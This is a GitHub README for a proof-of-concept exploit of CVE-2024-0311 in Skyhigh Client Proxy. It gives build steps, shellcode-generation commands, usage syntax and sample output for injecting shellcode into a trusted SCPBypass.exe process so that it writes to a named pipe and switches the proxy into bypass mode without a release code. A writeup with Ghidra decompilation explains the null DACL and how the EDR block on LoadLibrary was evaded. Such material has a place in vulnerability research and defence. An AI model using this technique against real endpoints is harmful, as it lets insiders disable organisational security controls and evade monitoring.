Skip to content

calligraf0/CVE-2024-0311

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2024-0311 ?

This is a PoC for what I believe is CVE-2024-0311, SB10418.

A malicious insider can bypass the existing policy of Skyhigh Client Proxy without a valid release code.

Much details. Very exploit. ¯\(ツ)

The PoC injects into a user-ran SCPBypass.exe process and writes to the SCPService.exe pipe: \\.\pipe\MCPTrayPipe0. Injection is necessary as, even if the pipe is RW Everyone, some checks are made on the executable writing to the pipe by WGUARDNT (writer path is checked), see below.

An example shellcode is provided which allows the execution of the WriteFile onto the pipe even if Trellix/McAfee are running and hooking/blocking LoadLibrary.

Compile

Build in Debug or Release from Visual Studio

Shellcode

Generate shellcode via:

cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

then replace the shellcode into shellcode.c.

Usage

Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Example output:

PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

If everything went well in the SCP log files you should find an entry similar t this:

10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Writeup

This will be a brief writeup, cuz ain't nobody got time for words.

Skyhigh Proxy Client

First of all what is Skyhigh proxy client?

Skyhigh Security Client Proxy software helps protect your endpoint users from security threats that arise when they access the web from inside or outside your network. The client software, which is installed on endpoints running Microsoft Windows or macOS, redirects web requests or allows them to continue to a proxy for filtering. The server software runs on one of the management platforms: Trellix ePO SaaS or Trellix ePO Cloud.

That should clear it.

What is the root cause?

Given the information from the advisory, there isn't much to go for. In all honesty I was looking at the binary service to spot easy to exploit issues to LPE when I saw the CreateNamedPipe and got interested.

Here's a quick copy paste of the decompiled code from Ghidra:

void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

As we can see once the function is called a new DACL struct gets initialized and a new pipe \\.\pipe\MCPTrayPipe0 gets created in byte mode.

Then as long as the handle to such pipe is valid, the program reads from it and tries to convert the bytes sent to it from ASCII to int with atoi(out_lpBuffer). Ignoring the fact that there are better alternatives to atoi, assumed the call to atoi hasn't failed, the converted value is passed to FUN_14022d5b0:

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

which calls SetWaitableTimer. Strings here helped a bit spotting the desired flow.

The main point here is that there are no checks made by the ScpService.exe process on who writes what to the pipe, data is just blindly trusted and passed around. Moreover, checking the permissions on the pipe with accesschk, the pipe results RW Everyone.

So the exploit should basically do the following:

  • CreateFile(): get a handle to the pipe
  • SetNamedPipeHandleState(): set the byte mode
  • WriteFile(): write data
  • CloseHandle(): close the handle

This can be done literally in a few lines of powershell. Easy win right? No.

Why injecting?

If only things were that simple! While technically it all seemed to work that way, opening the pipe always ended up in the pipe client timing out. Digging slightly deeper we noticed that the service was setting up some ACL somewhere else.

ACL

The default security descriptor used by ScpService is initialized as follow:

SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

This represents an DACL, which doesn't grant access to anyone

If the discretionary access control list (DACL) that belongs to an object's security descriptor is set to NULL, a null DACL is created. A null DACL grants full access to any user that requests it; normal security checking is not performed with respect to the object. A null DACL should not be confused with an empty DACL. An empty DACL is a properly allocated and initialized DACL that contains no access control entries (ACEs). An empty DACL grants no access to the object it is assigned to.

Most likely, the ACE/DACL is delegated to \\.\WGUARDNT which seems to be a protection layer (McAfee?) responsible of granting access to a limited list of objects:

.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Attempt 1

Well if the connecting executable is checked against a list of known executables/paths and since the SCPBypass.exe, ran with the privileges of our user, seems to be in a list of trusted apps couldn't we simply inject a DLL into the SCPBypass.exe? Absolutely! Too bad that Trellix/McAfee will block you from calling LoadLibrary.

Hence the unused InjmeDLL in the project.

Attempt 2 (final)

We opted for a quick and dirty solution in the end slapped together by @wolfcod: just inject a shellcode that does what needs to be done, as the process has everything loaded already anyway. Instead of calling the syscall directly or trying other shenanigans, this simple solution worked just fine for our use case.

This finally resulted in the bypass of the restrictions imposed by the AV/EDR solution and a working exploit.

👋 Cheers.

About

Exploit for CVE-2024-0311

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published